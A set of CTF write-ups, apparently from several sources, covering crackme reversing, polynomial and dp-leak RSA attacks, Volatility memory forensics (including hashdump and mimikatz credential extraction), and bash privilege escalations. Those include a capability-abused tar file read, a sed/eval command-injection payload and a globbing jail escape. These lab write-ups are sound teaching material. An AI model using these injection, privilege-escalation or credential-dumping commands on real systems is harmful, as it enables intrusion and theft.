```put the byte argv1[0] in EDX (instructions from 0x1012fa to 0x101301) Add 0x1f0 to it (instructions 0x1012f3 & 0x101304 & 0x101307)put the byte argv1[1] in EAX (instructions from 0x101309 to 0x101314)Compute their sumShift the sum 0x1 to the right If the result is not 0x14b go to hell```
Without forgetting that `0x1f0`, `0x1`, and `0x14b` change from one executable to another, let's write this in python.
```pythonuser_input="Something YADA YADA"X = user_input[0]Y = user_input[1]a = 0x1f0b = 0x1fbshift = 1
if ((a+X+Y)>>shift)!=b: return False #yeah yeah illegal use of return statement but you get the gist```
Okeey first formula that our input should validate has been found! Without forgetting, of course, that `a`, `b`, and `shift`vary across files, and that each file will have the same formula but different values for constants. How to actually craft input to satisfy the conditions will come later in this write-up.
Now for the second formula, I won't detail what instructions do as I did for the first one, but here's the pythonic translation:
```pythonX = user_input[0]Y = user_input[1]c = 0x5c
if (X + (X ^ Y)) != c: return False #yeah yeah illegal use of return statement but you get the gist```
And last but not least here's the third part of the if statement. Notice that if we survive the `JNZ` instruction, we will reach the the `strlen` statement that the decompiler shows *inside* the if block. We will get out of the if statement and finally get closer to our goal.
```pythonX = user_input[0]Y = user_input[1]d = 0x1ae0
if X * Y != d: return False #yeah yeah illegal use of return statement but you get the gist```
### Solving for `X` and `Y`
To cut to the chase I'm going to show you my final python function for finding `X` and `Y`, and I will comment on the most important "gotchas" after.
```pythondef find_bytes(a,b,c,d,shift): alphabet = printable[:-6] # all printable characters that are not white space min_sum = (b<<shift)-a # direct interpretation of the 1st formula ((a+X+Y)>>shift) == b max_sum_excluded = min_sum + 2**shift # Because information is lost after right shift. More on that later for s in range(min_sum, max_sum_excluded): # s represents X+Y for character in alphabet: # iterating over all possible values for X X = ord(character) Y = s - X if X + ( X ^ Y) == c: # do current values for X and Y validate the 2nd formula? print('Found candidates', X, '&', Y, 'for s =', s) if X * Y == d: # do current values for X and Y validate the 3rd formula? print('--> Confirmed') return chr(X)+chr(Y) else: print('--> Impostors')```
In this part I explain the main "gotcha" of this solution.
The original executable code applies the following operation (that I call the 1st formula) `(a+X+Y)>>shift==b`. While trying to isolate the unknown variables `X` and `Y` on one side and the known values `shift`, `a` and `b` on the other, I got this `X+Y == (b << shift) - a` thinking it was ok when it's not.
When the shift to the right is made, information is lost. Example `0xff >> 4` is `0xf`, and doing `0xf<<4` gives `0xf0`. See? A left shift doesn't automatically "reverse the effect" of a right shift. This loss of information should be taken into account. In order to do this, we could write it this way: `0xff == 0xf<<4 + k` where `k` is a constant. We can also reasonably say that `k` in this case is at max a 4-bit value (because the right shift operation removed information from 4 bits). These two lines of my python code, found in the solution above, are a generalisation of this idea.
```python min_sum = (b< |
# PolyRSA
We're given a file [`out.txt`](out.txt) where we're given `p` a prime number. `n` a polynome, and m^65537, a polynome (the ciphertext).
Anyway, after searching we can find this paper that talks about the specifications of polynomial RSA.
https://laur.lau.edu.lb:8443/xmlui/bitstream/handle/10725/5497/Modified.pdf
We can see the algorithm for key generation in the paper:```Algorithm 4: (RSA polynomials key generation).1. Generate a random odd prime integer p.2. Generate two irreducible polynomial h(x) and g(x)in Zp[x].3.Reduce the polynomial f(x) = h(x)g(x) in Zp[x].4.Compute φ(f(x)) = (p^s− 1)(p^r− 1) the order of U(Zp[x]/<f(x)>).5. Select an integer e in the interval [2, φ(f(x))−1]such that (e, φ(f(x))) = 1.6. Use the extended Euclidean algorithm to determineits inverse d modulo φ(f(x)).7.A's public-key is (p, f(x), e), A's private-key is(p, d, g(x), h(x)). ```
We already have the prime integer `p`. Our `n` is the polynome, we need to factorize it to get 2 irreducible polynomes `h(x)` and `g(x)`.
Using Sage:```Sagesage: p=2470567871sage: R.<x> = PolynomialRing(Zp(p,1))sage: n = #too long, retrieve it from the file out.txtsage: n.factor()```
We find 2 irreducible polynomes, with degree 127 and the other with degree 128.
Going on with the next step, we can calculate phi(n) which is (p^r -1)(p^s-1), `s` and `r` are the degree of the 2 irreducible polynome respectively.
In our case `s=127` and `r=128`, after calculating phi, we can compute the inverse of `e` (which is 65537) modulo phi.
```Pythonfrom Crypto.Util.number import inversephi = (p**r - 1) * (p**s - 1)d = inverse(e,phi)```
Now that we have the private exponent `d`, we can decrypt the cipher. (let's consider c = m^65537)
We can recover the plaintext (or more like, the plaintext-polynome ?) by computing `c^d mod n`
With Sage, we can recover the polynome. (It takes a lot of time to compute)```Sagesage: p=2470567871sage: R.<x> = PolynomialRing(Zp(p,1))sage: RES = pow(c, d, n)```
We find the original polynome, and we can notice that the coefficients are < 255, so each coefficient is a character of the flag.
```Sagesage: RES.coefficients()[105, 110, 99, 116, 102, 123, 97, 110, 100, 95, 105, 95, 52, 109, 95, 105, 114, 48, 110, 95, 109, 52, 110,125]```
We can then get the flag```Pyprint(''.join(chr(c) for c in coefficients))```
### flag`inctf{and_i_4m_ir0n_m4n}`
|
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
**https://hec-ker.tistory.com/194**The analysis will be conducted on the given 'foren.raw' file in the previous step.
We already know OS information (imageinfo), so let's check the list of processes through 'pslist'. |
# JailBossYou are provided with an SSH account to server `ssh -p 2222 [email protected]`, and 2 files.
## `taskFword.sh````sh#!/bin/bashexport FLAG="FwordCTF{REDACTED}"echo "A useless script for a useless SysAdmin"```
## `jail.sh````sh#!/bin/bashfiglet "BASH JAIL x Fword"echo "Welcome! Kudos to Anis_Boss Senpai"function a(){/usr/bin/env}export -f afunction calculSlash(){ echo $1|grep -o "/"|wc -l}function calculPoint(){ echo $1|grep -o "."|wc -l}function calculA(){ echo $1|grep -o "a"|wc -l}
while true;doread -p ">> " input ;if echo -n "$input"| grep -v -E "^(\.|\/| |\?|a)*$" ;then echo "No No not that easy "else pts=$(calculPoint $input) slash=$(calculSlash $input) nbA=$(calculA $input) if [[ $pts -gt 2 || $slash -gt 1 || $nbA -gt 1 ]];then echo "That's Too much" else eval "$input" fifidone```
When you connect to remote server you are greeted with
``` _____ _ | ___|_ _____ _ __ __| || |_ \ \ /\ / / _ \| '__/ _` || _| \ V V / (_) | | | (_| ||_| \_/\_/ \___/|_| \__,_| [email protected]'s password:
DISCLAIMER: Please don't abuse the server or you will get banned !
Author: Kahla, Contact me for any problems; GL & HF
____ _ ____ _ _ _ _ ___ _ | __ ) / \ / ___|| | | | | | / \ |_ _| | __ __| _ \ / _ \ \___ \| |_| | _ | |/ _ \ | || | \ \/ /| |_) / ___ \ ___) | _ | | |_| / ___ \ | || |___ > < |____/_/ \_\____/|_| |_| \___/_/ \_\___|_____| /_/\_\ _____ _ | ___|_ _____ _ __ __| || |_ \ \ /\ / / _ \| '__/ _` || _| \ V V / (_) | | | (_| ||_| \_/\_/ \___/|_| \__,_| Welcome! Kudos to Anis_Boss Senpai>> ```
And you can input commands.We can assume that `jail.sh` is ran after connecting to server and that `taskFword.sh` is probably in the same directory.
## Method1. Find a way to execute `taskFword.sh` to load flag to ENV2. Call a() to execute /usr/bin/env (where already loaded flag resides)
## The scriptWe can see that the script asks for input.```shread -p ">> " input ;```
Then script checks if out input consists only of certain characters `.` `/` `:space:` `?` `a`Those are only allowed characters.```shif echo -n "$input"| grep -v -E "^(\.|\/| |\?|a)*$" ;then```
Then we use defined functions```shfunction calculSlash(){ echo $1|grep -o "/"|wc -l}function calculPoint(){ echo $1|grep -o "."|wc -l}function calculA(){ echo $1|grep -o "a"|wc -l}```
to find out number of appereances of characters `/` `.` `a`Notice how the script is not checking counts of `:space:` or `?````shpts=$(calculPoint $input)slash=$(calculSlash $input)nbA=$(calculA $input)```
Then we check number of appereances.We can you maximum of 2x`.`, 1x`/` and 1x`a````shif [[ $pts -gt 2 || $slash -gt 1 || $nbA -gt 1 ]];then```
If the condition is satisfied, script calls `eval` with our input.This is a dangerous builtin command that shouldn't be used with user input.We can potentionaly run "any" command we want with this```sheval "$input"```
## ExploitHow can we execute a command only with these characters `.` `/` `:space:` `?` `a`We can't do `./taskFword.sh` because there are banned characters.What we can do is use regex symbol `?` which is a substitute for a single character.If you don't understand regex read about it. (You have probably used commands like `rm *`, `*` is a regex symbol meaning 'everything').
So we can try:`./????????????`which can resolve to`./taskFword.sh`
Here is a catch.When scripts evaluates function```shfunction calculPoint(){ echo $1|grep -o "."|wc -l}```with our input `./????????????` it checks for occurence of `.` which in regex means 'any character'. So the function 'returns' count `14` since we used 14 characters as our input, which stops us from evaluating our input since we are allowed to use 2 **dots** (`.`).How can we solve this?
The solution is in```shpts=$(calculPoint $input)```and respective```shfunction calculPoint(){ echo $1|grep -o "."|wc -l}```
The function only evaluates the first argument `$1` from our input (which was our entire input string so far). But we can use `:space:` to divide our input into 2 words. First word can be `.` which evaluates to count `1` since we only used 1 character and second word can be our payload `./????????????`.
Together`. ./????????????`
This input successfuly satisfies all conditions. And bash interpreter evaluates first `.` as **dot command** (command that evaluates commands in the current execution context) and then executes the scripts that loads the FLAG into our ENVIROMENT.
## In action```>> . ./????????????A useless script for a useless SysAdmin```
Then we can simply invoke function a() to print our ENVIROMENT```>> aSHELL=/opt/jail.shPWD=/home/ctfLOGNAME=ctfMOTD_SHOWN=pamHOME=/home/ctf/LANG=en_US.UTF-8FLAG=FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}TERM=xterm-256colorUSER=ctfSHLVL=1PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/gamesSSH_TTY=/dev/pts/2BASH_FUNC_a%%=() { /usr/bin/env}_=/usr/bin/env```
## The Flag**FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}** |
tldr;- LCG used as PRNG for ElGamal encryption to encrypt secret RSA modulus twice- Recover secret RSA modulus which is easily factored- `e` and `phi(N)` are not coprime, but we can work modulo a factor of `N` since the flag is small
[writeup](https://jsur.in/posts/2020-08-31-gactf2020-writeups#elgaml_rsa) |
# One Part ! (Crypto)```One part is secure ?
nc onepart.fword.wtf 4445
Author: Semah BA```When netcat it, it output this and disconnect:```nc onepart.fword.wtf 4445
Welcome to my secure Land !!! Everything is in front of you ! test it for me before publishing it you public pair : (14033835619327792160426407352776995685845231789110003170614050617173358193723291839323197616175538343002513484796570265843480825322486634330241473579269003882368879601103217982618845822102996255412150776380761792231821930511642796978085278963536842867698347307899574769580516244937821154610288251043530916872090961808756834656792040030522636952711613489300201231655811862342155537772414683919953510903653693737773755303834628341536035891200817370415885046963126277863118921178001259745122968212220493786289219698554962272743412025360561566999866661228833595095358927534861791346621962443490677551927341827074671240141, 65537)Bonus information dp : 10332164515966224149608085523390934930751379723365797446566057025103798861903008419383876935436335690978873682081580090950148591369985575306132457910009454712333071629382101229404311855959017939303582747190863284120994392360574352976183829405304037392541979029642322496944034486557379597794440606615292318049Cipher : 11720342629419010528935099808314161261526385202646362658577238166653056152763771178189576962060613825364959438313081873535885447564581953224563070858496929722706621533977220244409478263606545461031065406345871643855433894172825091339824686616008585320387105994214774571858923268079085862756037546286161931482108954087018543704092508168588274510060311886075841878397406149719635846716181276341709990104487324687956082785179185936047042623577924971941771466773714286085547432394560754644634903453392464530687709638729749705286705599176040270858525220041719677329810622770523665782433227089964698671864881096733488068324```Notice each time we netcat will get a different value
It's clearly a typical **RSA challenge!**
Given public key ,ciphertext, and a `dp` value
According to [Wikipedia](https://en.wikipedia.org/wiki/RSA_(cryptosystem)), dp is `d mod (p-1)`
`d` is the private key which use to decrypt the ciphertext
After some research on Google, found a [page](https://crypto.stackexchange.com/questions/46486/rsa-given-n-e-dp-is-it-possible-to-find-d) that stated we can recover the private key:
)
We can calculate this in python easily:```pythonp = GCD(n,pow(2,(e*dp),n)-2)```After we found `p`, we can simpily divide it with `n` and get `q`
Then we can calculate the private key `d`:```pyp = GCD(n,pow(2,(e*dp),n)-2)q = n // passert(n == p*q)phi = (p-1)*(q-1)# e^-1 mod phid = inverse(e,phi)# c^d mod nprint long_to_bytes(pow(c,d,n))```[Full python script](solve.py)
Thats the flag!!```FwordCTF{i_knew_it_its_not_secure_as_i_thought}``` |
## Memory 5### Tags: Memory Forensics, Volatility, Memory Dump, MS Paint, Image Recovery from Process, GIMP```I'm an artist too, i love painting. I always paint in these dimensions 600x300```I solved this before Memory 4 because the MS Paint process looks more interesting than any other process. Seeing various other writeups and tutorial, I think this is the only way I would install GIMP unironically.
Starting up, of course, seeing the process list and get the PID of `mspaint.exe`.
```python vol.py -f ../../FWord/foren.raw --profile=Win7SP1x64 pslist``````...0xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+0000
0xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+0000
0xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+0000
0xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+0000
0xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+0000...```After that, I dumped the memory for `mspaint.exe` with PID 1044.```python vol.py -f ../../FWord/foren.raw --profile=Win7SP1x64 memdump -p 1044 --dump-dir=../../FWord/````-p` is for the PID of the specific process we want which memory to be dumped. If `-p` is not specified, by default it will dump all the process. `--dump-dir` is for the dumping output directory.
